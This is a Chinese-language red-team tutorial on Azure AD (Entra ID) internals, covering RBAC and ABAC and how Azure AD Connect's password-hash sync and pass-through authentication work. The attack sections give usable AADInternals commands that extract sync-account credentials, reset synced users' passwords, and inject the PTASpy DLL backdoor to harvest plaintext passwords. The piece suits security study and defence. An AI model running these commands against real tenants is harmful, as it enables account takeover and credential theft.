红队视角下的 AzureAD 攻防

本文作者:毅种循环




# AzureAD/Azure/AD

Azure AD,是微软提供的一种基于云的身份和访问管理 (IAM) 解决方案。它可以帮助组织安全地管理员工、合作伙伴和客户对应用程序和资源的访问。

注: 2023 年 6 月 21 日起,Azure AD,现在正式更名为 Microsoft Entra ID,但是以下,我还是将它称为 AzureAD。

Microsoft Azure ID 的主要功能包括:

  • 身份验证和授权: 验证用户身份并控制他们对资源的访问权限。
  • 单点登录 (SSO): 用户使用一组凭据访问多个应用程序。
  • 多重身份验证 (MFA): 通过要求额外的验证因素(如短信验证码或指纹)来增强安全性。
  • 设备管理: 管理和保护连接到组织网络的设备。
  • 自助服务密码重置: 用户可以自行重置密码,无需联系 IT 支持。
  • 与本地 Active Directory 集成: 将云身份管理与本地身份管理相结合。

image

# AD or AAD?

这是一个很有趣的问题,首先分清楚两者之间的一个功能性概念。

AD: "Active Directory" 的缩写,简单来说就是本地域服务,Windows Active Directory 主要使用 Kerberos 身份验证协议和 LDAP ,基于访问控制列表 ACL 作为其目录服务的一部分对用户进行身份验证。

AAD: "Azure Active Directory" 利用的是 SAML、OAuth 2.0、OpenID Connect 协议基于角色访问控制 RBAC 模型和条件访问控制来完成。

特性 Windows AD(Active Directory) Azure AD(Microsoft Entra ID)
部署类型 本地部署,需要在组织的服务器上安装和维护 云部署,由 Microsoft 托管和维护
主要用途 管理本地 Windows 环境中的用户、计算机和资源,例如文件服务器、打印机和应用程序 管理云应用程序和资源的访问,例如 Microsoft 365、Azure 服务和 SaaS 应用程序
身份验证协议 Kerberos、NTLM SAML、WS-Federation、OAuth 2.0、OpenID Connect
目录结构 基于树状结构的组织单位 (OU) 基于扁平结构的组
组策略 支持组策略对象 (GPO),用于集中管理 Windows 设置和配置 不直接支持组策略,但可以使用 Intune 等工具实现类似功能
访问控制 基于访问控制列表 (ACL) 基于角色的访问控制 (RBAC) 和条件访问策略
单点登录 (SSO) 支持本地应用程序的 SSO,但需要额外的配置 支持云应用程序的 SSO,通常开箱即用
多重身份验证 (MFA) 支持 MFA,但需要额外的配置 支持 MFA,并且易于配置
自助服务 支持自助服务密码重置和解锁帐户,但需要额外的配置 支持自助服务密码重置、解锁帐户和注册设备,通常开箱即用
许可模式 通常作为 Windows Server 操作系统的一部分提供,需要购买 Windows Server 许可证 提供免费版和付费版,付费版提供更多高级功能
适用场景 适用于主要使用本地 Windows 应用程序和资源的组织,或者需要严格控制本地环境的组织 适用于主要使用云应用程序和资源的组织,或者需要灵活、可扩展的身份和访问管理解决方案的组织
集成 可以与 Azure AD 集成,实现混合身份管理 可以与 Windows AD 集成,实现混合身份管理
其他功能 提供其他功能,如 DNS、DHCP 和证书服务 提供其他功能,如设备管理、应用程序代理、自助服务组管理和动态组

所以 AD 和 AAD 不是一个完全相同的东西,唯一的相同之处就是都是一个提供信任服务的模式。

传统的 AD 模式更适合引管理本地域计算机,而 AAD 模式更适合管理需要频繁用到云上资源的场景。

这里又申引出来一个概念,即 Azure AD 和 Azure 的关系。

# Azure or Azure AD?

Azure 是微软家族很大的一个云服务平台,而 AzureAD 只是其中的一个产品之一。

image​ ​image

从上述的图中我们可以看出 Azure 和 Azure AD 还有资源组之间的关系,

假设一个场景用户采用了混合身份环境,并且 office365 模式,那么 Azure AD 是负责云端身份验证,Azure AD 为 Office 365 提供身份验证和授权服务,其中通过 RBAC 模型来确定用户对 Azure 资源的访问权限,如果正确即可通过 Azure AD 的凭据登录 Office 365。

那么什么是 RBAC 模型,我们接着往下看。  ‍

# RBAC

RBAC 是基于角色的访问控制服务,用于管理用户对 Azure 资源的访问,包括他们可以对这些资源做什么以及他们可以访问哪些区域。

RBAC 的核心概念:

  • 角色 (Role): 一组权限的集合。例如,“虚拟机管理员” 角色可能拥有创建、启动、停止虚拟机的权限。
  • 权限 (Permission): 对特定资源执行特定操作的能力。例如,对虚拟机的“启动”权限。
  • 分配 (Assignment): 将角色分配给用户或组,使用户或组继承该角色的所有权限。

image

这张图展示了 Azure 基于角色的访问控制(RBAC)的工作原理,详细说明如下:

1. 安全主体(Security Principal):

  • 安全主体是可以分配 Azure 角色的实体,包括:

    • 用户(User):Azure AD 中的个人用户。
    • 组(Group):Azure AD 中的一组用户。
    • 服务主体(Service Principal):代表应用程序或服务的身份。
    • 托管标识(Managed Identity):Azure 资源的自动管理身份。

在图中,安全主体是一个名为 "Marketing Group" 的组。

2. 角色定义(Role Definition):

角色定义是一组权限的集合,描述了拥有该角色的实体可以对 Azure 资源执行的操作。 Azure RBAC 提供了许多内置角色,例如:

  • 拥有者(Owner):对资源具有完全访问权限。
  • 参与者(Contributor):可以创建和管理资源,但不能授予访问权限。
  • 读取者(Reader):只能查看资源,不能修改。

还可以创建自定义角色,以满足特定的需求。 在图中,"Contributor" 角色被分配给 Marketing Group,这意味着该组的成员可以对资源进行修改,但不能授予访问权限。

3. 角色分配(Role Assignment):

  • 角色分配是将角色定义与安全主体和作用域关联起来的过程。
  • 通过角色分配,您可以控制哪些安全主体可以在哪些作用域内执行哪些操作。
  • 在图中,"Contributor" 角色被分配给 Marketing Group,作用域是名为 "pharma-sales" 的资源组。

4. 作用域(Scope):

作用域是 RBAC 应用的范围,可以是:

  • 管理组(Management Group):包含多个订阅的容器。
  • 订阅(Subscription):Azure 服务的基本计费单位。
  • 资源组(Resource Group):包含相关 Azure 资源的逻辑容器。
  • 单个资源(Individual Resource):例如虚拟机、存储帐户等。

在图中,作用域是名为 "pharma-sales" 的资源组,这意味着 Marketing Group 的成员只能在这个资源组内行使 "Contributor" 角色的权限。

image

同时一个一个 User/Group 是可以被多个 Role 所绑定的。

# ABAC

ABAC 是另一种访问控制模型,与 RBAC 相比,它提供了更细粒度、更灵活的权限管理方式。

ABAC 的核心概念:

  • 属性 (Attribute): 描述主体(用户、组、应用程序等)、资源(文件、数据、服务等)或环境(时间、位置、网络等)的特征。例如,用户的部门、职称、安全许可等级,资源的类型、敏感度、创建日期,环境的 IP 地址、设备类型等。
  • 策略 (Policy): 一组规则,定义了在满足特定条件时允许或拒绝访问。策略通常使用属性来表达条件,例如,“允许市场部员工在工作时间访问市场数据”。

我用一个图来解释这种行为:

image

  • 允许访问市场数据: 这是策略的具体内容,说明了在什么条件下允许访问市场数据。
  • 主体、资源、环境: 这是 ABAC 模型的三个核心要素,分别表示访问者、被访问对象和访问环境。
  • 部门、数据类型、时间、星期几: 这是具体属性,用于描述主体、资源和环境的特征。
  • 市场部、市场数据、9:00-17:00、周一-周五: 这是属性的具体值,用于限定访问条件。

逻辑关系就是:

只有当以下三个条件同时满足时,才允许访问市场数据:

  1. 主体的部门属性为“市场部”。
  2. 资源的数据类型属性为“市场数据”。
  3. 环境的时间属性在 9:00-17:00 之间,且星期几属性为周一至周五。

我认为这一块和基于资源的约束委派定义差不多。

# Azure AD Connect 架构与工作原理

# Azure AD Connect 功能概述

Azure AD Connect 是微软提供的一个工具,用于在本地 Active Directory (AD) 和 Azure Active Directory (Azure AD) 之间建立混合身份集成。

Azure AD Connect 功能:

  • 密码哈希同步 (Password Hash Synchronization, PHS): 将本地 AD 用户的密码哈希同步到 Azure AD,使用户可以使用相同的密码登录到本地和云端服务。
  • 传递身份验证 (Pass-through Authentication, PTA): 允许用户使用其本地 AD 凭据直接登录到 Azure AD,无需在云端存储密码哈希。
  • 联合身份验证 (Federation): 将身份验证请求重定向到本地 AD FS (Active Directory Federation Services) 或第三方身份提供商 (IdP),实现更高级的身份验证和授权方案。

# 三种同步方式

# 1. PHS


哈希同步的原理和风险

密码哈希同步 (PHS) 是 AzureAD Connect 的一项功能,它是最容易实现的身份验证选项,也是默认选项。PHS 的工作方式是,每当在本地更改密码时,来自 Active Directory 的密码哈希就会同步到 Azure AD 中。

注意点是,通过 Azure AD 修改用户密码时,新的密码不会同步回本地 AD。PHS 机制是单向的,仅支持将本地 AD 的密码哈希值同步到 Azure AD,而不支持从 Azure AD 同步回本地 AD。要使密码在 Azure AD 和本地 AD 之间双向同步,需使用其他机制如密码写回 (Password Writeback) 功能。然而,密码写回功能需要 Azure AD Premium P1 或 P2 许可证,并且需要在 Azure AD Connect 中配置。

它的原理如下:

  1. 获取密码哈希: Azure AD Connect 从本地 Active Directory (AD) 中读取用户的密码哈希值。密码哈希是通过对用户密码应用单向加密算法(如 NTLM 或 Kerberos)生成的固定长度字符串。
  2. 处理密码哈希: 为了增强安全性,Azure AD Connect 会对获取到的密码哈希进行一些额外的处理,包括:
    • 加盐 (Salting): 在密码哈希中添加随机字符串(盐),以防止彩虹表攻击。
    • 不可逆加密: 对加盐后的密码哈希再次应用单向加密算法,使得无法从云端哈希还原出原始密码。
  3. 同步到 Azure AD: Azure AD Connect 将处理后的密码哈希安全地同步到 Azure AD,只同步自上次同步以来发生更改的密码哈希。
  4. 用户登录验证: 当用户尝试登录 Azure AD 或 Office 365 等云服务时,Azure AD 会将用户输入的密码进行相同的哈希处理,然后与存储在 Azure AD 中的密码哈希进行比较。如果两个哈希值匹配,则验证通过,允许用户登录。

同步操作会半小时进行一次,当加入混合模式后,会发生什么?

image

image

image

新增了一个 MSQL 标志的用户,当我们查看他拥有权限的时候会发生什么。

image

值得注意的是,此用户并不会同步到 AAD 里面去。

Azure AD Connect 默认会排除以下类型的账户:

  • 内置管理员账户,如 Administrator
  • 其他内置和系统账户
  • 被禁用的账户

这一点可以 Get-ADSyncRule ​来获取同步用户的规则。

image

所有 AD 域环境中的 Administrator​、Guest​ 和 krbtgt​ 账户是不会同步上去的。

这些规则的设计目的是为了避免将一些系统账户、来宾账户或高权限账户同步到 Azure AD,从而保护 Azure AD 的安全性和稳定性。

如本文前面所述,Azure AD Connect 在本地 Active Directory 上创建了一个同步帐户。

由于他负责将用户密码哈希的哈希发送到云端,因此该用户在域上具有复制权限。

我们来看看他如何同步密码: ​image

这段代码定义了一个名为 PasswordHashGenerator​ 的类,它是 ClearPasswordHashGenerator​ 的子类。PasswordHashGenerator​ 主要作用是生成密码哈希值,用于在 Azure AD Connect 中同步密码。

image

重新哈希过程由 OrgIdHashGenerator 类中的方法处理,OrgIdHashGenerator​ 类会对加盐后的哈希值应用 SHA256 算法,重复 1000 次。每次哈希都会将上一次的结果作为输入,从而产生一个更复杂、更难以破解的最终哈希值。

我们来验证一下此过程,为了方便演示,我这里新增了一个 AD 域用户“lihua009”

image

然后强制发起一次同步流程。

image

dnspy 也已经停留在下断点的地方

image

来比较一下是否一致

image

滥用特权

那么之前我们提到的配置 PHS 之后会自动创建两个用户。

MSQL* 会自动在本地 AD 中创建。此帐户被赋予目录同步帐户角色(参见文档 (opens new window)),这意味着它在本地 AD 中具有复制(DCSync)权限

Sync* 是在 Azure AD 中创建一个帐户。此帐户可以重置 Azure AD 中任何用户(同步或仅限云)的密码

image

这两个特权帐户的密码存储在安装 Azure AD Connect 的服务器上的 SQL 服务器中

数据库位于。C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

ADsync 用户在本地是以服务账户进行启动的,参考如下:

61e9355ad5f0aa9c93153cb1fdbfd91

Azure AD Connect 服务利用名为 NT SERVICE\ADSync 的虚拟服务帐户来执行服务进程 (miiserver.exe)。

当你拥有管理员权限并且在安装了 Azure AD Connect 的服务器上,就可以执行相关的命令。

可以使用 AADInternals 进行提取,如下图:

image

获取到这些 sync 的凭据之后,可以直接利用令牌更改任何经过 AAD 同步用户的密码,如下:

image

# 获取全局管理员列表
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins
1
2
3

image

# 获取所有用户
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

1
2
3
4

image

# 获取指定用户的 ImmutableId,替换为你的实际用户
$userPrincipalName = "[email protected]"
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user
1
2
3
4

image

# 使用 ImmutableId 重置用户密码,替换为你需要的新密码
$newPassword = "AbcdPass12343!@#"
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose
1
2
3

image

​现在可以使用新密码访问 Azure AD,使用旧密码访问 op-prem(密码更改不同步)

因为我们是模拟了票据从 AAD 进行的密码修改,也没有开启密码写回,所以修改的此用户密码是无法登陆本地 AD 的。

image

PHS 攻击面总结

那么我们总结一下 PHS 的一个概述。

同步流程:

  1. 密码哈希的提取: 当用户在本地 AD 中创建或修改密码时,AD 会存储密码的哈希值(通常是 NTLM 哈希)。
  2. 哈希值的提取和处理: Azure AD Connect 工具会定期从本地 AD 中提取这些密码哈希值。为了增强安全性,Azure AD Connect 不直接传输 NTLM 哈希,而是对其进行额外处理:
    • 首先,Azure AD Connect 会对 NTLM 哈希值进行加盐和哈希处理,生成一个新的哈希值。
    • 这个新的哈希值再经过 PBKDF2(Password-Based Key Derivation Function 2)加密算法处理,增加计算复杂度和安全性。
  3. 传输到 Azure AD: 处理后的哈希值通过加密的通道传输到 Azure AD。

工作流程:

  1. 定期同步: Azure AD Connect 工具默认每 30 分钟进行一次同步。你也可以手动触发同步。
  2. 密码哈希的存储: 传输到 Azure AD 的密码哈希值被存储在 Azure AD 中,用于用户身份验证。

验证过程:

当用户尝试登录 Azure AD 资源(如 Office 365、Azure 门户等)时,身份验证过程如下:

  1. 用户输入密码:用户在登录界面输入用户名和密码。
  2. 密码验证:Azure AD 将用户输入的密码进行相同的哈希处理,并与存储在 Azure AD 中的密码哈希值进行比较。
    • 如果哈希值匹配,则用户通过身份验证。
    • 如果哈希值不匹配,则用户身份验证失败。

同步机制:

  • 本地 AD 密码修改:当用户在本地 AD 中修改密码时,新的密码哈希值会在下次同步时传输到 Azure AD。
  • Azure AD 密码修改:如果用户在 Azure AD 中修改密码,新的密码不会同步回本地 AD。这是因为 PHS 默认 是单向同步机制。‍

QA:

  • 是否能攻击本地域?:这是有可能的,因为 PHS 是二次 hash 过程到云端,就算你的密码在 AAD 中被泄露,这也是难以逆向的。但是不排除你的 AAD 密码和 AD 密码是一致的。

  • sync 滥用拿到的 sync 权限对本地域用户也有权限吗?可以直接导本地用户信息不?

    Sync 权限很高,可以理解为同步控制器,主要用于管理同步过程,将本地 AD 的数据同步到云端的 Azure AD。默认情况下,Sync 帐户在本地 AD 中只有只读权限,因此不能直接导出或更改本地 AD 用户信息,只能影响云端用户。

    然而,如果开启了密码写回功能,Sync 帐户会获得对本地 AD 用户进行写操作的权限,从而可以实现双向影响,即可以将云端的密码更改写回到本地 AD。因此,Sync 权限在这种情况下可以影响本地 AD 用户。

    这种情况下,可以影响本地 AD 用户信息。

# PTA


代理同步的原理和风险

来自文档: Azure Active Directory (Azure AD) Pass-through Authentication (opens new window) 允许用户使用相同的密码登录本地和基于云的应用程序。此功能为用户提供了更好的体验——少记一个密码,并减少了 IT 帮助台的成本,因为用户不太可能忘记如何登录。当用户使用 Azure AD 登录时,此功能直接针对本地 Active Directory 验证用户的密码。

在 PTA 中,身份是同步的,但密码不像在 PHS 中那样同步。

身份验证在本地 AD 中验证,与云的通信由运行在本地服务器上的身份验证代理完成(不需要在本地 DC 上)。

需要在 azure 中切换用户登陆方法为直通身份验证模式,如下图:

image

image

image

官方的建议是在大型域情况下设置 4 台以上的 PTA 代理服务器,同时这些服务器的安全性建议设置为最高(当然 PTA 服务器越多,存在的可能攻击面就越大。)

该 PTA 服务器关键进程如下:C:\Program Files\Microsoft Azure AD Connect Authentication Agent

image

其中负责同步的进程 AzureADConnectAuthenticationAgentService.exe

在进程的方法打个断点后发起一次强制流程看看。

image

那么 PTS 是如何进行逻辑验证的呢,可以先看看他的代码,大概流程如下:

using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // 表示与 Active Directory 域交互的上下文。
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // 域名属性。
        public string Domain { get; private set; }

        // 构造函数,初始化域上下文。
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // 初始化 Domain 属性。如果域名为空或为 null,则设置为 null。
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // 初始化 nativeMethodWrapper 字段。
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // 方法,用于验证用户凭据是否与 Active Directory 域匹配。
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // 验证 userPrincipalName 和 password 是否为 null 或空。
                userPrincipalName.ValidateNotNullOrEmpty("userPrincipalName");
                password.ValidateNotNullOrEmpty("password");

                // 检查域名是否有效。
                if (!this.ValidateDomainName())
                {
                    // 如果域名无效,则设置错误代码并返回 false。
                    errorCode = string.Format("InvalidDomainName:'{0}'", this.Domain);
                    result = false;
                }
                else
                {
                    // 尝试使用提供的凭据登录用户。
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // 如果登录成功,将错误代码设置为 0。
                        errorCode = 0;
                    }
                    else
                    {
                        // 如果登录失败,获取最后的 Win32 错误代码并记录警告。
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning("Logon user failed with error: '{0}'", new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // 记录异常信息。
                Trace.TraceError("Unknown Exception was thrown for domain '{0}'. Ex: '{1}'", new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // 私有方法,用于使用指定的用户凭据登录。
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // 调用 nativeMethodWrapper 的 LogonUser 方法进行登录。
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // 确保释放 SafeCloseHandle 资源。
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // 私有方法,用于验证域名的有效性。
        private bool ValidateDomainName()
        {
            // 检查域名是否为 '.',如果是,则记录错误并返回 false。
            if (this.Domain != null && this.Domain.Equals("."))
            {
                Trace.TraceError("Failed to create domain context due to invalid domain. Domain: '{0}'", new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // 常量定义。
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // 默认的登录提供程序。
        private const uint LOGON32_LOGON_NETWORK = 3U; // 网络登录类型。
        private const string InvalidDomainNameErrorFormat = "InvalidDomainName:'{0}'"; // 无效域名错误格式。
        private const int SuccessCode = 0; // 成功代码。

        // 私有字段,用于封装本地方法调用。
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120

代码说明:

  • ActiveDirectoryDomainContext:
    • Domain属性: 存储域名。
    • 构造函数: 初始化 Domain​ 属性和 nativeMethodWrapper​ 字段。
  • ValidateCredentials方法:
    • 验证 userPrincipalName​ 和 password​ 是否有效。
    • 检查域名是否有效。
    • 尝试使用 LogonUser​ 方法登录用户。
    • 根据登录结果设置 errorCode​ 并记录日志。
  • LogonUser方法:
    • 调用 nativeMethodWrapper​ 的 LogonUser​ 方法进行用户登录。
    • 确保在完成后释放 SafeCloseHandle​ 资源。
  • ValidateDomainName方法:
    • 验证域名是否有效,如果域名为 .​ 则记录错误并返回 false​。
  • 常量和字段:
    • LOGON32_PROVIDER_DEFAULT​, LOGON32_LOGON_NETWORK​, InvalidDomainNameErrorFormat​, 和 SuccessCode​ 是常量定义,用于登录操作和错误处理。
    • nativeMethodWrapper​ 用于封装对本地方法的调用。

这意味着,当用户通过配置了 PTA 的 Azure AD 输入密码时,他们的凭据是以未加密的形式传输到 PTA 上,然后 PTA 根据 Active Directory 对其进行验证。那么,如果我们入侵了负责 Azure AD Connect 的服务器会怎么样?

显而易见,可以控制整个 PTA 服务器,并且所有通过该代理端点登陆的信息都会被截取。

中间人/后门

正如前面所说的,这套流程会将本地的域信息通过 PTA 进行连接起来,那么特定情况下的攻击面就如下了:

当实际行动中拿到了运行 PTA 的代理服务器,并且有本地管理员的模式下,进程名为:AzureADConnectAuthenticationAgentService.exe。

查找 AAD 中存在的 PTA 代理信息:

Import-Module AADInternals //导入模块
Get-AADIntProxyAgents //获取存在PTA的机器
1
2

image

实际作战中可以先找这些 PTA 机器作为维权的优先流程。

image

参考:https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta

Install-AADIntPTASpy //注入恶意后门
Get-AADIntAccessTokenForPTA -SaveToCache
1
2

使用该命令后会创建一个隐藏文件夹 (C:\PTASPy),并将 PTASpy.dll 复制到那里。

然后将 PTASpy.dll 注入正在运行的 AzureADConnectAuthenticationAgentService.exe。

安装后,PTASpy 会收集所有使用的凭据, 并将其与 Base64 编码的密码一起存储到 C:\PTASpy\PTASpy.csv。

值得一提的是,该 PTA 是默认后门的功能,没有去判断密码的正确。

image​‍

也可以使用使用 Get-AADIntPTASpyLog (opens new window) 读取明文的密码。

image

# ADFS


未完待续